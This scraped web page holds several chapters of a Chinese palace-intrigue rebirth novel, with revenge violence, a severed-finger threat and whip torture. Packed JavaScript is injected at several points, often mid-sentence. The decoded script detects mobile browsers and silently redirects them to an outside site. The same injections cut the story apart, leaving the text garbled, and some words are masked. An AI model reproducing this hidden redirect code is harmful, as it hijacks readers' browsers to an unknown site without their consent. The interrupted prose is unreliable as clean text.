;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我不来,怎知他还敢攀附权贵。”秦时月挣了挣手没挣开,索性任由他搂着,“何况,有些账总要亲自算了才痛快。” “南国那边我已让人打点好,她去了不会受委屈。”宋墨辰主动将王秀儿的事情说出。 女子学堂被封锁时,宋墨辰便听到了消息,原本他想出面为秦时月证明清白,奈何他知道秦时月性子,更知道秦时月有把握自己处理此事,便没有插手。 第282章 马球会邀约 “你倒比我想得周到。” “你要做的事,我自然要周全,只是往后,别再独自涉险了,若是我没来,若是他没认出你……” 不等他说完,秦时月插话道:“我知道你会来。” 宋墨辰一怔,笑道:“越发恃宠而骄了。” “那,殿下喜欢吗?”她故意问道。 “喜欢,喜欢的很。” 两人并肩走在回去的路上,此刻他们的世界里只有彼此。 半月左右,南风馆那边传来消息,说是李明轩染了脏病,被老鸨扔在柴房里等死。 听完小荷的禀报,秦时月淡淡“嗯”了一声。 李明轩如何,与她无关。 “小姐,就这么让他**吗?”小荷有些不解。 当初李明轩那般作恶,如今死得这般狼狈,按理说该解气才是,可看自家小姐的样子,竟像是毫不在意。 秦时月端起茶杯抿了一口,“他活着是脏,**也是脏,不值得我费心神。” 就在这时,一个护卫匆匆走到了揽月园门外。 听到下人禀报,小荷立即走出去,从护卫手里接了个册子,随后回到院中。 “小姐,安家递了帖子来。” “安家?”秦时月放下手里的茶杯,眉眼不变的接过册子,“安锦绣。” 安嫔的母家安家,如今在京中能叫上名号的,除了宫里那位,便只剩这位庶出的二小姐,安锦绣了。 传闻,安家这一脉只这两个女孩,安嫔未入宫时,与这位庶妹在闺中最是亲近,看来,这其中有安嫔的手笔。 秦时月打开册子,只见上面写着,后日城西马球场小聚,请明月县主赏光。 “刚刚护卫来报,说二小姐久仰小姐大名,想借马球会的由头,与小姐交好。” 听到这话,秦时月轻笑。 想把自己约到马球场上,还指不定要怎样对付自己。 不过,近几日也没什么有趣的事,她倒是想看看,安嫔究竟要做什么。 “一个没有什么地位的庶女,突然张罗起马球会,还特意邀了我,背后若没有安嫔的意思,倒说不过去了。”秦时月将册子放到桌上,起身走向窗口。 小荷皱了皱眉,“小姐要应下吗?万一这马球是个圈套该如何是好。” “闲来无事,你家小姐带你去看看,权当解闷儿了。”秦时月笑的清甜,眼神幽深,不见底。 若是安嫔真的想在马球场上对付她,那她就让安嫔知道,什么是真正的算计! 安家就这姐妹俩,安嫔在宫里要站稳脚跟,少不了宫外有个能通气的人,安锦绣虽是庶出,却是她如今最信得过的。 若是她不应,反倒显得她露怯了。 “小荷,让人备份得体的礼物,至于安锦绣那边,见了面便知她是真单纯,还是替姐姐传话的了。”秦时月冷笑出声。 小荷见她已有决断,便应道:“是,奴婢这就去安排。” 待小荷退下,秦时月重新拿起那张册子,自言自语,“安嫔啊安嫔,什么都觊觎,只会害了你。” 原本安嫔是个微不足道的角色,但她现在抚养了八皇子,那她便不容小觑。 人一旦有了盼头,就会生出不安分的心思,生出往上攀爬的心。 如果她能安分守己一点,她还能和八皇子好生待在宫里,安稳过完下半生。 若是她起了不该有的心思,那秦时月也无法帮她,毕竟宫里的手段,可不是一个没有母族势力的安嫔能应付的。 不过,她倒是想看看,安嫔葫芦里究竟卖的什么药。 两日后。 刚刚下朝,宋墨辰就从侍书的嘴里听到了秦时月要参加马球会的事,他朝服都来不及更换,朝着马球场的方向跑去。 约莫一炷香的时间,他便赶到了马球场,可此时的马球场内哪还有什么比赛?有的只是小厮们在收拾场地。 按规矩,这场马球会该持续到未时才散,今日为何散的这样早? 是他来晚了吗? “殿下。”侍书跟在宋墨辰身后,小心翼翼的喊了句。 宋墨辰没说话,只是眼里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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薛公子? 这人他听说过,仗着祖上的荫庇,在京中混了个才子的名声,最擅长在女眷面前做些风花雪月的姿态。 可秦时月…… 他了解她。 秦时月不是会轻易跟陌生男子结伴出游的人,更别说还是在这种场合。 这里面,定有蹊跷! “侍书。”宋墨辰转身,“带人去查县主的马车往哪个方向去了,另外,去问问安府的人,今日这场马球会,是谁提议邀请薛公子的。” “是!”侍书刚应下,就听见身后传来一阵轻柔的脚步声。 “殿下。”一个细细软软的声音响起。 宋墨辰回头,只见一个妙龄贵女正站在他身后,眉眼间与安嫔有几分相似,正是安锦绣 她穿着一身淡粉色襦裙,裙摆上绣着莲花,腰间系着条珍珠腰带,鬓边的一缕碎发被汗濡湿,贴在脸颊上,显得有几分楚楚可怜。 见他看过来,安锦绣连忙提起裙摆,小步走到他面前,屈膝行礼,“民女安锦绣,见过殿下,没想到殿下会来,若是早知道,民女定在门口候着。” 对此,宋墨辰没有理会,只是眉宇间多了几分戾气。 现在最重要的事情是找到月月。 安锦绣被他这冷淡的态度弄得有些无措。 过了片刻,她抬起头,眼眶微微泛红,“殿下是来找秦姐姐的吗,真不巧,秦姐姐已经走了有一阵子了。” “本王知道。”宋墨辰的声音没什么起伏。 闻言,安锦绣继续说道:“方才秦姐姐跟薛公子聊得可投机了,薛公子给秦姐姐讲马球的规矩,秦姐姐听得很认真,还问了好几句呢,俩人还约定一起去赏花……” 她顿了顿,偷偷抬眼瞟了宋墨辰一下,见他脸上没什么表情,又斟酌着说,“周围的姐姐们都说,薛公子一表人才,秦姐姐生得沉鱼落雁,两人站在一起,倒是有几分般配。” 听到这些话,宋墨辰嘴角微勾,眼底闪过一丝残忍,“安小姐当知时月的身份,她乃是未来辰王妃,你如今攀蔑未来辰王妃,就不怕给安家带来灭顶之灾!?” 安锦绣心头一紧,眼底闪过一丝慌乱。 嫡姐来信,让她一定想办法将秦时月的名声败坏,她这才特意让人去请了名声不佳的薛公子,又安排了这一切,甚至故意给他二人制造机会。 这一切,都是为了让宋墨辰看到。 同为女子,她心里清楚,没有哪个男子听到自己放在心上的女子跟别人亲近,会不动怒的,更别说权势滔天的辰王。 可如今,他短短一句话,就让她入坠冰窖…… 安锦绣攥紧拳头深吸口气,努力保持镇定,然后道:“是,是民女见秦姐姐与薛公子相谈甚欢,又一起离开,这才一时失了言,还望殿下恕罪。” “呵,最好如此。”宋墨辰眼睛微眯,眸色幽深,却没有再多说半个字,转身就走。 看着他离开的背影,安锦绣捏紧了手里的丝帕。 她们的计划,应该是成功了吧,就算辰王表面上不在意,她也不信秦时月能毫发无损。 想着宋墨辰刚刚在不经意中散发出的凌厉气势,安锦绣心头狂跳。 这样的男子本就站在云端,可现在,他却为了另一个女子,特意赶到这马球会来。 若是站在他身边的人是自己该多好啊…… 她是安嫔的妹妹,虽说是庶出,家世不高,但胜在清白。 她有信心,只要宋墨辰看到秦时月放浪的样子,他一定会厌弃秦时月,转而看到她的好! 与此同时,京城一处不知名的巷子里,秦时月抬手,将**上的血迹随意擦了擦,随后抬起笑眼,看向蜷缩在墙角,浑身是血的薛公子。 方才还张牙舞爪的薛公子,此刻像只任人待宰的羔羊,浑身被冷汗浸透,止不住的颤抖。 “说吧。”秦时月开口,“谁派你来的?” 薛公子猛地打了个寒颤,喉结动了半天,才挤出一句,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16173106|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没,没人派我,我就是……” “我奉劝你说实话,我手中的**可不是吃素的。”秦时月轻笑一声,手中**散发出森森寒意。 薛公子眼神躲闪着不敢看她。 方才,他确实是想动手的,不仅是因为收了钱,还因为,秦时月长的确实美艳,他,等不及想一尝芳泽。 不曾想秦时月是有身手在身上的,他一个常年流连在女子身上的,根本不是她的对手。 他现在浑身上下都疼,右手臂手筋被挑断,以后能不能握笔,都是个未知数。 “不说是吧?”秦时月挑眉,“也行,反正这巷子偏僻,多待一会儿也没人来。我这人没别的本事,就是有耐心,等你疼得受不住了,说不定就愿意说了。” 说完,她后退半步,坐在了小荷为她搬来的矮凳上。 凳子虽矮,但她坐在那,气势十足,眼神更是让人不寒而栗。 薛公子咬着牙,他能感觉到,手臂处的血还在流,他知道,若是再不止血,他撑不了多久。 “我说,我说。”终于,他熬不住了,带着哭腔开口,“是安府的二小姐,安锦绣……” “安锦绣?”虽然早就猜到了,但秦时月还是故作惊讶地挑了挑眉,“她派你来做什么?我与她素无交情,难不成是哪里得罪了她?” “不是让我伤您。”薛公子连忙解释,“她就说,让我把您引到这巷子来,再把您弄晕了,送到城外的破庙里。” 听完,秦时月脸上的惊讶慢慢褪去,取而代之的是一抹了然的笑。 原来只是想坏她名节。 也是,跟人离开,又被发现在城外的破庙里,传出去,哪个还相信她是清白之身? 只是这手段,未免太拙劣了些。 “她许了你什么好处?”秦时月又问。 薛公子老实答道:“给了我五十两银子,还说事成之后再给我二十两。” “七十两?”秦时月嗤笑一声,“为了这点钱就敢做这种事?你莫不是不知道我的身份?” 第284章 送安嫔礼物 她好歹是堂堂县主,又是未来辰王妃,只值七十两?这安锦绣也忒抠了。 “她,她说不会伤害您的……”薛公子支支吾吾的回答。 秦时月的身份整个京城谁人不知?他不过是……贪图她的美色,又觉得此事天衣无缝,抱着一丝侥幸才答应下来。 “影风。” “属下在。” “都听到了?” “是。”影风点头,“属下这就将人处理干净。” 胆敢对王妃不敬,玩死难辞其咎! “不急。”秦时月摇摇头,目光重新落回薛公子身上,“他不过是个拿钱办事的棋子,杀了脏手。如今他胳膊已废,就留在这里自生自灭吧。” 他若是个有福气的,说不定会等到人来救,若是个没福气的……那就是他自己的造化了。 薛公子一听,连忙求饶,“县主饶命!县主饶命啊!我再也不敢了。” 影风没理会他的求饶,起身走到他面前,手起掌落,薛公子顿时陷入昏迷中。 “处理干净些。”秦时月转身,朝着巷口走去,“别让人看出是我们动的手。” “是。”影风应道,又问,“安锦绣那边,要不要一并处理了?” 秦时月看着远处安府的方向,摇了摇头,“不必,不必取其性命。” 影风有些不解,“王妃,她既然敢动手,保不齐还有下次,留着,恐成祸患。” “有道理,但……**不过头点地,对其他人没什么震慑作用,我有更有趣的玩法……” 影风附耳过来,听完,眼前一亮,“属下明白!” 秦时月笑笑,她要的不是安锦绣的命,而是要借她敲打敲打宫里那位。 安嫔在宫里安稳了这么久,怕是忘了,有些线是碰不得的,秦时月要让她知道,什么人能惹,什么人不能惹。 “去吧。”秦时月挥挥手,转身朝着自家马车的方向走去。 闲来无事,她就好好陪她们玩玩! 第二日清晨,安嫔醒来,眼睫还带着几分惺忪的颤。 算算时间,今日该有消息传来,说不定能借着薛公子的事,让他们二人生出些嫌隙,从而给她机会。 安嫔起身,走到梳妆镜前,突然发现镜子前不知何时多了个木盒子。 盒盖半敞着,露出里面暗红的绒布,看着有些扎眼。 这是什么? 她试探着伸出手,将锦盒完全打开。 下一秒,安嫔的呼吸骤然停滞。 那是一截断指,皮肉模糊,但断面整齐,显然是被一刀切断的,且刚断不久。 断指旁边,放着一个藕荷色的香囊,上面绣着一朵小小的荷花……她倏地睁大眼睛。 这个香囊她认识,是安锦绣的! “啊!!!”安嫔脸色惨白,猛地往后缩去。 这截断指也是锦绣的!锦绣出事了! “来人!快来人啊!” 殿外的宫女太监听到动静,慌忙推门进来。 只见安嫔脸色惨白地缩在床头,浑身发抖。 “娘娘!您怎么了?”为首的大宫女连忙上前。 当她看清锦盒里的东西时,也吓得倒吸一口凉气。 这里是后宫,且不说十步一岗五步一哨,就说这满院的宫人,就连一只苍蝇都别想轻易飞进来。 可如今…… “快把这东西拿走,拿走!”安嫔闭着眼,十分惊恐,“去查!立刻去查!去查安锦绣,快去啊!” “把今日在马球场的所有人都查一遍,敢害锦绣,我要让他们血债血偿!” 锦绣会不会出事了,是谁做的?是秦时月,还是宋墨辰? 举办马球会是为了对付秦时月,难道是被宋墨辰发现了他们的计谋,从而对锦绣出手了? 安锦绣死不足惜,但他们能在不惊动任何人的情况下砍下安锦绣一根手指,还悄无声息的送进了她的寝殿,这…… 她不敢继续想下去。 与此同时,京城中一条不知名的巷子里,宋墨辰匆匆赶了过来。 经过多方调查,宋墨辰可以确定秦时月的马车往这边走了。 可如今,巷子里哪有秦时月的身影,只有墙角徒留一具男子的尸体。 仔细一看,正是薛公子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190513|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他趴在地上,面部朝下,脸上毫无血色,身下是干涸许久的大滩血迹,显然是失血过多,气绝多时。 秦时月确实放了薛公子一命,只是他命短,该绝,秦时月几人离开后,他便失血过多昏死过去,再之后,就一命呜呼了。 他人的死活宋墨辰并不在意,他微凉的目光掠过尸体,低声问道:“月月走了多久?” “看这车轮印的清晰度,最多不过两刻钟,看方向,应该是回府了。”侍书查看一番,回禀道。 闻言,宋墨辰眼神晦暗,沉声开口,“把这里处理干净,伪装成草寇**,别留下任何痕迹。” 薛家在京城也是有头有脸的人物,若是被薛家人知道薛公子是月月所杀,只怕是他们会在朝堂上闹起来。 虽然他能保下秦时月,但他不愿看到这种事情发生。 “是,王爷。”侍书恭敬道。 “你处理完就回府吧。”宋墨辰叮嘱了一句,抬脚就走。 他要去长乐侯府一趟。 这段时间他一直在宫里忙碌,鲜少与秦时月见面,原本心里就牵挂异常,如今又出了这档子事,他不去一趟,心里不安。 就在宋墨辰要走的间隙,侍书突然垂眸提醒,“王爷,宫里还有一堆事情,眼下天黑露重,王妃说不定早已休息,不如您明日再去。” 听到这话,宋墨辰顿了一下。 如今薛公子死在这里,以秦时月的性子,应该不会放过安锦绣,他还需尽快回宫处理大局,防止那些人拿此事说事。 但他又不放心秦时月一人面对这种事情。 皱皱眉,他道:“不急,你处理完先先回去,我会尽早赶回去的。” 说完,宋墨辰转身消失在巷口的暮色里,只留下侍书看着那具尸体,叹了口气。 听风楼。 今日被安锦绣和薛公子扰了心情,秦时月有些静不下来,听小荷说听风楼新来了一个戏曲班子,便带着小荷来了。 夜里的听风楼内坐满了人,小二提着茶壶穿梭在桌椅间,听风楼正中央的戏台上,姑娘正在婉转唱歌戏腔,让人听了只觉绕梁三日。 第285章 偶遇还是刻意? 秦时月选了个楼下靠窗的位置坐下,又点了一壶碧螺春。 此刻台上唱的是《西厢记》,张生正对着红娘诉衷肠。 这些情情爱爱的故事,秦时月只当个乐子,她绝对不能将自己的一颗心全部挂在男子身上。 “小姐。”小荷拿起一块糕点递给她,“小二说,这水晶糕是刚做的,甜津津的,您尝尝?” 秦时月刚要伸手去接,一股浓烈的酒气突然窜入鼻腔。 她抬手捂住鼻子,抬眼去看,就见秦怀瑾摇摇晃晃的站在了她们桌旁。 他今日穿了一身藏青色祥云纹云锦长衫,虽然那衣服将他衬得像是个贵公子,可身上的酒气却大的出奇。 奇怪,他怎会在此? 原本的兴致被打扰,秦时月不满的蹙起眉头,看向秦怀瑾的眼神有些不悦。 早知他在这儿,她无论如何是不可能过来的。 “这不是我家妹妹么?怎么一个人在这儿坐着,倒让兄长好找。”秦怀瑾勾唇轻笑,一脸深色。 秦时月放下手,微闭眼睛,她没说话,心里在打量着他出现在听风楼的目的。 难道他在这会见赵家人? 听风楼里三教九流都有,认得秦怀瑾的不在少数,周围邻桌的目光已经飘了过来。 先前他在京城里大言不惭做下不少错事,曾几何时,他做的那些糊涂事,桩桩件件,都是别人茶余饭后的谈资。 秦怀瑾显然毫不在意这些目光,反而往前又凑了凑,“怎么不说话?是不认得兄长了?还是在惊讶我为何出现在这里?” “哦。”扫了眼周遭等着看热闹的百姓,秦时月终于开了口,只是她声音淡淡的,没什么情绪,“兄长这声妹妹,我消受不起。” 他可真是大胆,竟然主动出现在听风楼,就不怕被他们的好父亲知晓,让人把他抓回去吗? “咱们可是亲兄妹,我不喊你妹妹,我喊谁妹妹?”秦怀瑾拿起桌上的酒水猛地灌了一口,察觉到周围人的目光,嘲弄似的说了一句。 “亲兄妹?”秦时月抬眼,“兄长怕是忘了先前对我做的那些事,谁家兄长会如此苛待自己的妹妹?” 秦怀瑾的脸色有些挂不住,眼底掠过一丝阴鸷,却又很快被他压了下去。 “过去的事,提它做什么?”他并没有感觉自己做错了。 况且,如今自己变成这样都是她的错,他恨不得将她**万段! 若是之前,他知晓秦时月会将自己害到这个地步,他一定会亲手杀了她。 对此,秦时月没说什么,只是端起茶盏抿了一口。 笑话,长乐侯府上下都是个笑话! 小荷站在秦时月身旁,紧紧攥着手里的帕子,她偷偷拉了拉秦时月的衣袖,小声说道:“小姐,咱们走吧,别跟他置气。” 大家都在朝这边看,继续待下去,怕是要影响小姐名声。 秦时月拍了拍她的手背,示意她安心。 她太了解秦怀瑾了,这人就像块狗皮膏药,你越是想甩开,他越是黏得紧。 今日他主动找上门,绝不是为了叙什么兄妹情谊,必定是有什么算计。 与其在这儿被他一直纠缠,不如索性看看他到底想干什么。 秦怀瑾见她没动,又换上那副嬉皮笑脸的样子,指了指楼上。 “妹妹你看,楼上雅间刚收拾出来,知道你喜欢喝茶,我让人沏了好茶,赏个脸,我们去雅间品茶。” 但秦时月没接他的话,没有任何表示。 见状,他以为有戏,又往前凑了凑,眼底浮现出一丝警告,“上去坐坐,就咱们兄妹俩,说说话!” 这秦怀瑾葫芦里究竟卖的什么药? 小荷心里不安,又拉了拉秦时月的衣袖,“小姐,别去啊,大公子肯定没安好心。” 秦怀瑾斜了小荷一眼,语气里带着点不耐烦,“小荷,主子说话,有你插嘴的份吗!?记住自己的身份!” “小荷是我的人。”秦时月淡淡地开口,“她说什么,轮不到兄长置喙。” 秦怀瑾被噎了一下,只好闭上嘴,却还是不死心的看向秦时月,“你跟我上去,我自然不会为难一个小丫头。” 秦时月看着他, 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闻言,秦时月没有说话,她看了眼屋子里的椅子,随意坐了下去。 “妹妹倒是镇定。”他冷哼一声,继续,“你就不怕我在这雅间里对你做些什么?” 秦时月端起桌上的茶盏,慢悠悠地说:“兄长若是想做什么,方才在楼下就动手了,不必费力气请我上来。” 更何况,若是他真的要和她动手,也只是自找苦吃。 “你倒是比从前聪明多了。”秦怀瑾低头笑了一下,眼神诡异。 “人总是要长大的。”秦时月淡淡回了句,将茶盏凑到唇边,淡定的喝了一口。 不错,是好茶。 想不到秦怀瑾竟然还有好茶,他日日被关在府里,是从里淘来的这些茶叶。 “长大?”他像是听到了什么笑话,“是啊,怎么不算是一种长大呢?” 紧接着,他转身给自己倒了杯茶,却没喝,只是放在手里把玩。 第286章 秦怀瑾做了一个梦 对此秦时月依旧不在意,她是个大夫,刚刚喝茶时已经验过,茶里无毒,否则她也不会安心的喝下去。 雅间里又安静下来,秦时月没催他,就那么端着茶盏,不急不缓地喝着,仿佛有的是时间陪他耗。 过了约莫半盏茶的功夫,秦怀瑾忽然抬起头,直勾勾地盯着她,双眼猩红,道:“我前几日做了个梦,妹妹想知道,我做了个什么梦吗?” 听到这话,秦时月疑惑的皱起眉毛,随即又恢复如常。 她不想知道。 秦怀瑾却像是没看到她的冷淡,自顾自地往下说。 “那梦做得真切,就像,就像是亲身经历过一遭似的。”他端起茶杯,猛灌了一口,眼神却有些疯魔,“梦里,有侯府,有母亲,有祖母和可云。” “在梦里,母亲不仅没死,还被封为了一品诰命,和父亲夫妇和顺;可云如愿嫁进了定远侯府,给他们陆家生下了嫡子,受尽万千荣宠;而咱们的祖母,寿终正寝……还有我,我如愿袭爵,成了侯府世子,有一个美满的姻缘。妻子大度,美妾成群,子孙环绕。” 说到这,秦怀瑾的眼里闪过一丝狠戾,声音也尖锐起来,“可梦醒后我发现,所有人非死即伤,全都没有一个好下场!!唯有你!你的结局……变了!!” 听到这些话,秦时月的心跳忽然漏了一拍。 怎么会?他怎么会梦到这些? 难道他也是……重生回来的? 不可能,他怎么可能和自己一样! 秦时月强迫自己稳住心神,努力维持着面上平静的情绪,但心里已经泛起了惊涛骇浪。 “你说奇怪不奇怪?”秦怀瑾的声音越发阴沉,落在秦时月身上的眼神透着一丝危险,一丝疯狂,“梦里,我们的结局,跟现在完全不一样!” “说完了?”秦时月抬眸看他,宽大的袖袍下,拳头紧握,指甲嵌入掌心,才让她没有当场泄露情绪。 看到秦时月平淡的反应,秦怀瑾猛地凑近问道:“你就不好奇?不好奇梦里的你,最后落得个什么下场?” “不好奇。”秦时月放下茶盏,“兄长的梦,与我无关。” 她要镇定,不能自乱阵脚。 “与你无关?”秦怀瑾半眯着眼,眼神危险,“梦里的你,死状凄惨,日日遭受我们的折磨,到底……都没能离开侯府后院的柴房!” 前世的遭遇和死状一一浮现,秦时月的指尖深深掐进掌心,浑身被冷汗浸透。 就因为秦可云,她被亲生父母、兄长囚禁于柴房。 秦怀瑾为博秦可云一笑,日日到柴房用沾了盐水的鞭子抽她,抽的她皮开肉绽,破溃发烂的血肉来不及愈合,就又添新伤。 那时候,秦家上下皆把她当畜生,日日以折磨她为乐…… 那段记忆哪怕只是想一想,都让她浑身发冷、发颤。 秦时月强迫自己保持冷静,让自己的脸上没什么表情,淡淡地看着秦怀瑾,道:“兄长的梦,真是离谱。” “离谱?”秦怀瑾阴恻恻笑了一下,自顾自地往下说,“可那梦太真了,就好像是经历过似的。” 秦时月的心跳又开始不受控制地加速,他到底是什么意思? 他真的重生了? 否则怎么会对前世发生的事情如此笃定? 就算他真的重生了,又能怎么样? 现在的她,早已不是前世那个任人拿捏的秦时月了。 重生回来这几年,她步步为营,将长乐侯府牢牢把握在手心里,早不是那个只能在深宅大院里苦苦挣扎,却只能凄惨死去的女子。 如今,她不仅改写了那个惨死的结局,还有了自己的铺子,有了忠心的侍卫,有了所爱之人,一切,早就不一样了! 想到这里,秦时月心里那点慌乱渐渐散去,取而代之的是一种冷静。 秦怀瑾还在盯着她,“可现在,一切都变了,不仅侯府上下被你算计的不成样,就连我夜成了人人唾弃的浪荡子,而你却变成了人人称羡的明月县主,未来辰王妃。” 他上下打量着秦时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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只见秦怀瑾不知从何处抽出来一柄短鞭,重重的抽在她身后的门板上。 第287章 被救下 那鞭子约莫三尺长,上边血迹斑斑,正是秦怀瑾前世抽打秦时月的那把,而此时,上边的血迹则是鞭打府中下人留下的…… 上一世的记忆如潮水般瞬间袭来,秦时月脑袋一痛,脸上顿时浮现出一丝痛苦的表情。 那种皮开肉绽,血肉模糊却永远无法愈合的疼,她终生难忘…… “怎么?怕了?”秦怀瑾狂喜,他猛地扬起鞭子,“你不是不承认吗?你不是说那只是梦吗?怎么看到这鞭子,就露出了这样的神情?” 此刻,秦时月恐惧万分,浑身颤抖着,一个字也说不出来。 她想告诉自己,这不是上一世,她已经不是那个任人宰割的秦时月了。 可那种痛苦是刻在骨子里的,刻在灵魂深处的,不是她想逃避就能逃避得掉的…… “哈哈哈。”秦怀瑾突然疯狂地大笑起来,“我就知道!我就知道那不是梦!你也记得对不对?” 他猛地一甩鞭子,死死地盯着秦时月,“你怕这鞭子,就像从前一样怕!” 秦时月死死咬着下唇,疼痛让她稍微清醒了些。 她知道自己不能露出一点惧意,可当秦怀瑾再次扬起鞭子时,她还是控制不住地闭上了眼,身体甚至先于理智一步,无意识地蜷缩起来。 “啪!” 又是一声脆响,鞭子抽在了她脚边的地面上,她的脸色瞬间惨白一片,上一世的记忆如潮水般将她淹没。 “你以为你逃得掉吗?”秦怀瑾一步步朝她逼近,“就算你骗得了旁人,也骗不过我!这鞭子也能让你记起来!记起你卑贱的过往!” 秦时月下意识地抬手去挡,手腕却被他一把攥住。 “你说啊!”秦怀瑾的脸凑得极近,酒气混着疯狂的气息喷在她脸上,“你是不是早就知道前世的事?所以你才处处跟我作对,处处坏我的事!” 秦时月用力想挣脱他的手,可他攥得太紧。 “放开我!” “我偏不放!我要让你好好记起来,记起来你从前是怎么跪在我面前求饶的!” 说完,秦怀瑾狠狠推了她一把,秦时月踉跄着后退一步,纤弱的后背重重撞在墙上。 她惊恐的看着他扬起鞭子,看着他甩出熟悉的弧度,瞳孔骤然收缩。 上一世的日日毒打,就是这样…… “不要……”巨大的恐慌下,秦时月猛地闭上眼下意识抱住头,逃避性的抱住了自己。 这是身体的本能,那些刻在骨子里的恐惧,是她无法控制的。 看到这一幕,秦怀瑾更兴奋了。 他站起身,再次扬起了手里的鞭子。 千钧一发之际,宋墨辰闯了进来。 他一眼就瞥见蜷缩在角落的秦时月,瞳孔震颤,在鞭子即将落下的瞬间,一把扣住了秦怀瑾的手腕。 下一秒,惨叫声传来,秦怀瑾的手腕,被捏碎了。 秦怀瑾吃痛,面色惨白,一头冷汗的倒在地上,捂着无力垂下的手,浑身止不住的颤抖。 宋墨辰没功夫理会他,而是一把将秦时月抱在怀里,不断安抚,“月月不怕,我来了。” 感受到他身上温和的龙涎香后,秦时月紧绷的神经才稍稍松了些,眼底的恐惧也逐渐被安定取代。 察觉到怀里的人儿平静下来,宋墨辰危险的眯着眼转过身,然后捡起地上的鞭子放在手里掂了掂。 “敢伤她,找死。” 他声音不大,声音却透着一股寒意,让人打心底里恐惧。 下一秒,“啪”地一声,皮鞭毫无预兆的抽在了秦怀瑾的脸上。 那一下又快又狠,秦怀瑾甚至没来得及反应,就觉得半边脸像是被火烫过。 他惨叫一声,不等他开口求饶,宋墨辰再次抬起了鞭子,“再敢动她一根手指头,我拆了你这双手。” 要不是看在秦怀瑾和他的月月是同胞的份上,他已经死了千万次了! 剧烈的疼痛感和对宋墨辰的惧怕,让秦怀瑾瞬间昏死过去。 “来人,把他带走。”宋墨辰厌恶的扫了他一眼,朝着门口沉声道。 侍书立即出现,将秦怀瑾拖死狗般拖了出去。 宋墨辰低头看向怀里的秦时月。 此刻的她身上汗津津的,头发紧紧贴在头皮上,看上去既虚弱又狼狈,是他从来没见过的样子。 在他的印象中,她聪慧、坚强,从来没有过这般脆弱的时候。 “还好吗?”宋墨辰心疼问道。 “嗯。”秦时月轻嗯一声以作回应。 “秦怀瑾被我关起来了,你可以放心,以后没有人再伤害你了。” 这次是他大意了,他没想到秦怀瑾竟然胆敢来伤害月月。 听到这话,她的睫毛颤了颤,不知是信了,还是没力气再反应。 见状,宋墨辰将人打横抱起走了出去,就这样带着人上了回王府的马车。 不知过了多久,马车在辰王府前停下,宋墨辰将其抱入卧房。 秦时月迷迷糊糊地感觉到自己一直被人抱着,还有人用温水替她擦了擦脸颊。 “王爷,王妃烧得厉害。”太医拧眉回禀,“想来是急火攻心加上受了惊吓,微臣开了药,烦请府上的人去熬煮。” “侍书,快!”宋墨辰眉头紧锁,一双看不出情绪的墨眸牢牢锁定秦时月。 他的月月若是出事,他不敢确保他会做出什么! 太医和侍书的脚步声远了,房间里静下来,秦时月迷迷糊糊的,只觉得浑身难受的厉害。 宋墨辰眼看她眼睫不断颤动,眉头紧紧皱在一起,心不由自主的揪了起来,“月月,再忍忍,药很快就好。” 说着,婢女送来了一盆温水,他一把接过,亲手拧了毛巾为秦时月擦拭。 秦时月意识模糊,上一世的记忆争先恐后地涌了上来。 梦里,她又回到了那个阴冷的柴房…… 她被铁链锁在柱子上,手腕、脚踝被磨得血肉模糊。 秦怀瑾拿着鞭子站在她面前,“你竟然敢让可云当众难堪,我抽死你,贱人!” “兄长,我没有,我……” “还敢嘴硬!” “你就是个丧门星!”长乐侯夫人站在一旁,面上是掩饰不住的嫌恶,“早知道,当初生下来时就该把你溺死在盆里!” 第288章 不堪又绝望的回忆 鞭子突然抽过来,破风声下,秦时月尖叫着躲闪,却被铁链拽得死死的,沾了盐水的鞭子打在身上,疼得她眼前发黑。 鞭子还在落下,她的意识渐渐飘远,切换到了下一个场景。 “呸,侯府嫡出的大小姐,皇后娘娘的救命恩人又怎么样?在这侯府里,还不是侯爷和夫人说了算?敢和二小姐争宠,死了也是活该!” 一口伴着腥臭味的浓痰吐到秦时月满是烂疮的脸上,紧接着,是一碗酸臭的猪食。 说话的是长乐侯夫人身边的心腹张嬷嬷。 场景再次切换,这次,是秦可云掩着口鼻,囔囔又得意的声音。 “姐姐,你别怪父亲母亲这样对你,这一切都是你自作自受,谁叫你认不清自己的位置,还在奢望不属于你的东西呢?侯府千金的位置是我的,陆世子,也是我的。” …… 场景变化迅速,秦时月被惊出一身冷汗,下一秒猛地一颤,突然醒来。 